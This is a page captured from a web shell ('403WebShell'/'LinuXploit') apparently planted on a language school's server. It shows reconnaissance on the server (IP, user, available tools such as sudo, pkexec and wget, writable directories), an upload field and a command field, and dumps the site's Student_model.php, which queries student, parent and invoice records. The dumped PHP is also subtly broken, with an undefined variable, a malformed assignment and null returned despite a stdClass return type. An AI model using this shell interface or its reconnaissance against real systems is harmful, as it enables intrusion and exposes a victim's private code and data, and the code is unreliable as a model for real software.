Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/models/Student_model.php
<?php

class Student_model extends CI_Model
{
    public function get_entry(int $id, bool $add_user = false): stdClass
    {
        if ($id <= 0) {
            return null;
        }
        $result = $this->db->get_where('student', ['student_id' => $id])->result();
        if (!empty($result) && !empty($result[0])) {
            if ($add_user) {
                $this->load->model('users_model');
                $result[0]->user = $this->users_model->get_entry($id);
            }
            return $result[0];
        }

        return null;
    }

    public function update_entry(int $id, array $fields): bool
    {
        if ($id <= 0 || empty($fields)) {
            return false;
        }
        return $this->db->update('student', $fields, ['student_id' => $id]);
    }

    public function get_students_with_courses()
    {
        $query = "SELECT u.user_id, u.email, u.first_name, u.last_name, u.LegitCreationDate,
                    s.parent_id,s.dob, p.first_name as parent_first_name, p.last_name as parent_last_name,
                    GROUP_CONCAT(DISTINCT course_id SEPARATOR ',') as courses_ids
                FROM user u
                INNER JOIN student s ON u.user_id = s.student_id
                LEFT JOIN user p ON s.parent_id = p.user_id
                LEFT JOIN course_student_new AS cs ON cs.student_id = u.user_id
                WHERE (u.Archived = 0 or u.Archived = 2) AND u.role_id = 4
                GROUP BY u.user_id";

        $students = $this->db->query($query)->result();

        $query = "SELECT CourseName, ID FROM course_new";
        $courses = [];
        foreach ($this->db->query($query)->result() as $c) {
            $courses[(int) $c->ID] = $c;
        }

        foreach ($students as $s) {
            $courses_ids = explode(',', $s->courses_ids);
            $s->courses = [];
            foreach ($courses_ids as $c_id) {
                if (!empty($courses[(int) $c_id])) {
                    $s->courses[] = $courses[(int) $c_id];
                }
            }
        }

        return $students;
    }

    public function get_students_without_invoices(int $limit): array
    {
        $students_raw = $this->db
                             ->query("SELECT u.*, s.parent_id as parent_id, s.admin_comment as admin_comment FROM user u
                                     INNER JOIN student s ON u.user_id = s.student_id
                                     LEFT JOIN invoices_students ist ON ist.student_id = u.user_id                                     
                                     WHERE (u.Archived = 0 or u.Archived = 2) AND u.role_id = 4 AND ist.student_id IS NULL")
                             ->result();
        $students_invoices = [];
        foreach ($this->db->query("SELECT * from invoices_students")->result() as $si) {
            $students_invoices[(int) $si->student_id] = (int) $si->invoice_id;
        }
        $siblings = $this->get_siblings(array_unique(array_map(function ($s) { return $s->parent_id; }, $students_raw)));
        $students = [];
        foreach ($students_raw as $student) {
            if (count($students) >= $limit) {
                continue;
            }
            $no_invoice = true;

            $brothers = $get_siblings[(int) $student->parent_id];
            if (!empty($brothers)) {
                foreach ($brothers as $b) {
                    if ($students_invoices[(int) key($b)]) {
                        $no_invoice[] &= false;
                    }
                }
            }

            // Dirty: We need to create an wallet.balance field for scalability
            $balance = $this->wallet_model->wallet_balance((int) $student->user_id);
            if ($balance < 0) {
                if ($no_invoice) {
                    $students[] = $student;
                }
            }
        }

        if (count($students) > 0) {
            // Add Courses to students
            $students_ids = array_map(function ($s) { return (int) $s->user_id; }, $students);
            $query = "SELECT *, 
                      MIN(csh.LessonDate) as date_start
                      FROM `course_student_new` cs
                      LEFT JOIN `course_new` c ON c.ID = cs.course_id
                      LEFT JOIN course_scheduled_new csh ON csh.CourseID = cs.course_id
                      WHERE cs.student_id IN (" . implode(',', $students_ids) . ")
                      GROUP BY cs.course_id";
            $courses = [];
            foreach ($this->db->query($query)->result() as $c) {
                $courses[(int) $c->student_id] = $c;
            }
            foreach ($students as $k => $s) {
                $students[$k]->course = $courses[(int) $s->user_id];
            }
        }
        return $students;
    }

    public function get_siblings(array $parents_ids): array
    {
        $students_siblings = $this->db->query("SELECT u.*, s.parent_id FROM user u
                                               INNER JOIN student s ON u.user_id = s.student_id
                                               WHERE u.role_id = 4 AND s.parent_id IN (". implode(',', $parents_ids) .")")
                                      ->result();
        $brothers = [];
        foreach ($students_siblings as $s) {
            if ((int) $s->parent_id == 0) {
                continue;
            }
            if (!isset($brothers[(int) $s->parent_id])) {
                $brothers[(int) $s->parent_id] = [];
            }
            $brothers[(int) $s->parent_id][] = $s;
        }

        return $brothers;
    }

    public function get_from_parent_id(int $parent_id): array
    {
        $childrens = $this->db->query("SELECT u.*, s.parent_id FROM user u
                                      INNER JOIN student s ON u.user_id = s.student_id
                                      WHERE u.role_id = 4 AND s.parent_id = $parent_id")
                              ->result();
        return $childrens;
    }

    public function get_truant_students(DateTime $course_begin_before, int $min_percent_missing, int $limit): array
    {
        $query = "SELECT cst.student_id, cst.course_id, cst.lesson_id, su.first_name, su.last_name,
                         su.email AS student_email, pu.email AS parent_email,
                  (SUM(CASE WHEN cst.status_id = 3 THEN 1 END) / SUM(CASE WHEN cst.status_id = 1 OR cst.status_id = 3 THEN 1 END) ) as percentage_missing_presence
                  FROM `course_student_new` cst
                  LEFT JOIN `course_scheduled_new` cs ON cs.ID = cst.lesson_id
                  LEFT JOIN `course_new` c ON cs.CourseID = c.ID
                  LEFT JOIN `student` st ON st.student_id = cst.student_id
                  LEFT JOIN `parent` p ON p.parent_id = st.parent_id
                  INNER JOIN user su ON su.user_id = cst.student_id
                  INNER JOIN user pu ON pu.user_id = st.parent_id
                  WHERE c.Archived != 1 AND cst.status_id IN (1,3)
                  GROUP BY cst.student_id
                  HAVING percentage_missing_presence IS NOT NULL AND percentage_missing_presence > 0.5
                  ORDER BY cs.LessonDate DESC";

        $students = [];
        $course_ids = [];

        foreach ($this->db->query($query)->result() as $student) {
            $students[(int) $student->student_id] = $student;
            $course_ids[] = (int) $student->course_id;
        }

        $query = "SELECT *, COUNT(cst.ID) as students_count, MIN(LessonDate) as date_start
                  FROM `course_scheduled_new` cs
                  LEFT JOIN `course_new` c ON cs.CourseID = c.ID
                  LEFT JOIN `course_student_new` cst ON cs.ID = cst.lesson_id
                  WHERE c.Archived != 1 AND cs.CourseID IN (". implode(',', array_unique($course_ids)) .")
                  GROUP BY cs.ID
                  HAVING date_start < CAST('{$course_begin_before->format('Y-m-d')}' AS DATE)";

        $course_students = [];
        foreach ($this->db->query($query)->result() as $course_scheduled) {
            $course_students[(int) $course_scheduled->ID] = $course_scheduled;
        }

        foreach ($students as $k => $student) {
            if (empty($course_students[(int) $student->course_id]) || (int) $course_students[(int) $student->course_id]->students_count < 2) {
                unset($students[$k]);
            } else {
                if (empty($students[$k]->courses)) {
                    $students[$k]->courses = [];
                }
                $students[$k]->courses[] = $course_students[(int) $student->course_id];
            }
        }

        return array_slice($students, 0, $limit);
    }

    public function is_assigned_to_lesson(int $student_id, int $course_id, int $lesson_id) : bool
    {
        $this->db->select('id');
        $this->db->where([
            'student_id' => $student_id,
            'course_id'  => $course_id,
            'lesson_id'  => $lesson_id
        ]);
        $lessons_assigned = $this->db->get('course_student_new')->result();

        return count($lessons_assigned) > 0;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit